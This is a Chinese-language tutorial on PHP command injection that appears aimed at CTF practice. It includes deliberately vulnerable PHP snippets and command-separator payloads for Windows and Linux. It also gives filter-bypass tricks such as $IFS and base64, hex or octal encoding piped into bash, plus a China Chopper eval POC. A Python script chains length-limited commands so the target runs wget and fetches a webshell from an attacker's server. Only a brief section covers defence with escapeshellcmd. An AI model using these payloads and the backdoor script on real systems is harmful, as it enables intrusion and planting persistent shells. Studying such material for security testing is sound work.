0x00 命令执行漏洞简介
命令执行漏洞,是指Web应用程序接收用户输入,拼接到要执行的系统命令中执行。
其产生原因:
- 用户输入未过滤或净化(净化就是对特殊字符做处理如转义,然后再执行命令)。
- 拼接到系统命令中执行。
0x01 PHP下命令执行函数
1. 代码执行函数
- eval
- assert
2. 执行系统命令的函数
-
system:执行一个外部的应用程序并显示输出的结果
-
exec:执行一个外部的应用程序
-
shell_exec:执行shell命令并返回输出的结果的字符串
-
passthru:执行一个UNIX系统命令并显示原始的输出
-
``:与shell_exec函数的功能相同
- popen:与shell_exec函数功能类似,popen(‘[系统命令]’, ‘r’),’r’表示返回stdout文件指针,’w’表示返回stdin文件指针
<?php $handle = popen('/path/to/executable 2>&1', 'r'); echo "'$handle'; " . gettype($handle) . "\n"; $read = fread($handle, 2096); echo $read; pclose($handle); ?>
- proc_popen
- pcntl_exec
- $(xxx):在bash中用来做命令替换的,可以当做shell命令执行,但不是所有shell都支持。
0x02 命令执行漏洞代码
<?php
echo "<pre>";
if(isset($_GET["cmd"])){
system($_GET["cmd"]);
}
echo "</pre>";
?>
直接链接加参数即可:http://ip地址/?cmd=ipconfig
0x03 Windows下命令执行漏洞分析
以下使用PHP代码,对指定目标执行Ping命令
<?php
echo "<pre>";$arg = $_GT["cmd"];
if($arg){
system("ping $arg");
}
echo "</pre>";?>
代码中拼接用户的输入进system函数执行,但是无法直接执行用户的自定义命令。
思路:截断输入,重新拼接,两条命令都输入并执行。
在Windows系统下的cmd命令,有以下一些截断拼接符:
- & 前面的语句为假则直接执行后面的
- && 前面的语句为假则直接出错,后面的也不执行
- | 直接执行后面的语句
- || 前面的出错执行后面的
例如正常情况下:ping 127.0.0.1恶意攻击:
- ping 111 & ipconfig
- ping 127.0.0.1 && ipconfig
- ping 127.0.0.1 | ipconfig
- ping 111 || ipconfig 攻击链接为:http://ip/?cmd=111&ipconfig
0x04 Linux下命令执行漏洞分析
以下使用PHP代码,对指定目标执行Ping命令
<?php
echo "<pre>";
$arg = $_GET["cmd"];
if($arg){
system("ping -c 4 $arg");
}
echo "</pre>";
?>
在kali linux中启动Apache服务,输入service apache2 start
然后将上述代码放在/var/www/html/下的cmd.php中。
在Linux系统下的shell命令,有以下一些截断拼接符:
- ; 前面的执行完执行后面的
- | 是管道符,显示后面的执行结果
- || 前面的出错时执行后面的
- & 无论前面是真是假都会执行
- && 只有前面语句为真,才会执行后面语句
例:使用拼接符从而利用命令执行漏洞执行ifconfig命令http://ip/cmd.php?cmd=127.0.0.1;ifconfig
0x05 ``反引号执行
在PHP中,除了函数可以执行系统命令,反引号也可以作为系统命令执行来使用。
<?php
echo "<pre>";
if(isset($_GET["cmd"])){
$cmd = $_GET["cmd"];
echo `$cmd`;
}
echo "</pre>";
?>
输入http://ip/cmd.php?cmd=ipconfig进行攻击。
0x06 eval函数
eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,且必须以分号结尾。
如果没有在代码字符串中调用return语句,则返回NULL。
如果代码中存在解析错误,则eval()函数返回false。
<?php
eval("echo hello;");
?>
0x07 菜刀连接
利用菜刀连接命令执行的位置,也被称为代码执行。POC:
/search.php?searchtype=5&tid=&area=eval($_POST[cmd])
0x08 动态代码执行
<?php
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
?>
访问链接进行攻击:http://127.0.0.1/x.php?a=system&b=ipconfig
0x09 防御
- escapeshellcmd
escapeshellcmd()函数在以下字符之前插入反斜杠:\&#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
0x0a 相关知识
1. ()和{}
把几个命令合在一起执行,shell中有两种方法:
-
(command1;command2;command3;…)
-
{ command1;command2;command3;…command;}
注意使用{}时第一条命令必须与左边括号有一个空格,最后一条命令一定要有分号。
并且()和{}中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令。
不同点是:()是重新开一个子shell执行命令,{}在当前shell执行。
cat ./fl{a,b,c,d}g
2. shell输入输出重定向
参考菜鸟教程:
大多数 UNIX 系统命令从终端接受输入并将所产生的输出发送回到终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端。
命令说明:
- command > file:输出重定向到file。
- command < file:输入重定向到file。
- command >> file:输出以追加的方式重定向到file。
- n > file:将文件描述符为n的文件重定向到file。
- n >> file:将文件描述符为n的文件以追加的方式重定向到file。
- n >& m:将输出文件m和n合并。
- n <& m:将输入文件m和n合并。
- << tag:将开始标记tag和结束标记tag之间的内容作为输入。
此外,文件描述符通常是这样的:
- 0:标准输入(STDIN)
- 1:标准输出(STDOUT)
- 2:标准错误输出(STDERR)
3. 正则
- ^:匹配输入字符串的开始位置
- $:匹配输入字符串的结束位置
- *:匹配前面的子表达式零次或多次
- +:匹配前面的子表达式一次或多次
- ?:匹配前面的子表达式零次或一次
- {n}:n是一个非负整数,匹配确定的n次
- {n,}:n是一个非负整数,至少匹配n次
- {n,m}:m、n均是非负整数,并且n<=m,最少匹配n次,最多匹配m次
- .:匹配除换行符(\n,\r)以外的任何单个字符
- [xyz]:字符集合,匹配所有包含的任意一个字符
- 非贪婪?:当?紧跟在任何一个其他限制符(*,+,?,,{n},{n,},{n,m})后面时,匹配是非贪婪的,非贪婪模式是指尽可能少地去匹配。
cat ./fl[a-z]g cat ./fl*g cat ./fl?g
{xxx}和[xxx]有个重要区别,如果匹配的文件不存在,[xxx]会失去模式的功能,变成一个单纯的字符串,而{xxx}还是可以展开。
cat ./fl[a-z]g # 得到结果就只有存在的文件
cat ./fl{a,b,c}g
# 得到的结果是每一个都会去尝试打开,但是不存在的会提示
cat: ./flbg: No such file or directory
4. 内置通用字符簇
也是shell正则的知识
- [[:alpha:]]:任何字母
- [[:digit:]]:任何数字
- [[:alnum:]]:任何字母和数字
- [[:space:]]:任何空白字符
- [[:upper:]]:任何大写字母
- [[:lower:]]:任何小写字母
- [[:punct:]]:任何标点符号
- [[:xdigit:]]:任何16进制的数字,相当于[0-9a-fA-F]
0x0b 绕过
1. 空格绕过
- <>
cat<>./flag
- $IFS(IFS的默认值是空白,也包括空格,tab,新行)
cat$IFS./flag
2. 关键词绕过
- $
ca$*t ./flag ca$@t ./flag ca$2t ./flag ca${11}t ./flag
- 反斜杠
ca\t ./flag
- 变量
```
变量拼接
a=ca;b=t;c=./flag $a$b $c
利用切割字符串拼凑
a=”llxss”;b=${a:0:1}${a:4:1};$b
- 特殊变量${9},相当于空字符串
ca${9}t ./flag
- base64编码
echo “Y2F0IC4vZmxhZwo=” |base64 -d|bash
- 16进制
echo “0x636174202e2f666c6167” |xxd -r -p|bash
- 8进制
$(printf “\143\141\164\40\56\57\146\154\141\147”)
- 使用双引号和单引号
ca”t” ./flag ca’t’ ./flag
- 花括号
{cat,./flag}
- %0a(\\n),%0d(\\r),%09(\\t)等也可以绕过一些过滤
#### 3. 长度限制绕过
- 嵌套eval
```php
<?php
$p = $_GET['p'];
if(strlen($p) < 17){
eval($p);
}
?>
可以嵌套一层eval,构造以下链接:
http://127.0.0.1/x.php?p=eval($_GET[x])&x=echo `cat /flag`;
- 重定向到文件
<?php if(strlen($_POST['p'])<8){ echo shell_exec($_POST['p']); } ?>
这里需要利用重定向文件:n > file指令是将文件描述符为n的文件重定向到file。由于受字数限制,需要分多次执行。
举个例子,如果我们要执行echo 1
这条指令,那我们需要分段,转义,然后倒序输进去:
>\ 1\\
>echo\\
ls -t>a
原理是输入这些命令后,通过ls命令按照时间逆序(-t)列举出来,然后导入到文件a中去,导入后cat a
可以看a文件的内容为:
echo\
1\
利用这个留后门,也就是写shell的时候,直接写入shell的话可能需要各种转义,因为很多符号在php函数中会被执行,比较麻烦。可以考虑写入curl或wget指令让靶机向我们自己的服务器下载shell文件。如下,依次执行:
>php\\
>\\ 1.\\\\
>\\ -O\\\\
>.cn\\\\
>\\ xx\\\\
>wget\\\\
ls -t>a
sh a
相当于执行了wget xx.cn -O 1.php,从xx.cn网站处下载保存成1.php文件。可以修改靶机hosts文件使xx.cn指向自己的服务器IP。
还可以写一个利用命令执行漏洞写后门的自动化脚本(POST型):
import requests
cmd_list = [">php\\",">\\ 1.\\\\",">\\ -O\\\\",">.cn\\\\",">\\ xx\\\\",">wget\\\\"]
url = "http://xxx.com/xxx.php" # 修改为靶机命令执行漏洞链接
url2 = "http://xxx.com/1.php" # 修改即将为靶机新创建的shell链接
post_key = 'p' # 产生命令执行漏洞的POST处的参数名称
for cmd in cmd_list:
param = {post_key:cmd}
requests.get(url, params=param)
param = {post_key:'ls -t>a'}
requests.get(url, params=param)
param = {post_key:'sh a'}
requests.get(url, params=param)
res = requests.get(url2)
if res.status_code == '200':
print("success")
else:
print("failed")
记得先在自己的服务器上(或者本地攻击机上)起一个http服务,如python3开http服务:
python -m http.server 4444
然后放一个一句话shell文件即可。
4. 内联命令绕过关键词
可以使用反引号ls的输出作为cat的输入来绕过文件关键词。
ping 127.0.0.1;cat${IFS}$9`ls`
0xff commix工具
commix是一个使用python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接导入burp的历史记录进行检测,大大提高了易用性。
项目地址:https://github.com/stasinopoulos/commix Kali Linux自带了。
- commix -h 获取帮助信息
- commix -u http://ip/cmd.php?cmd=127.0.0.1 对目标进行测试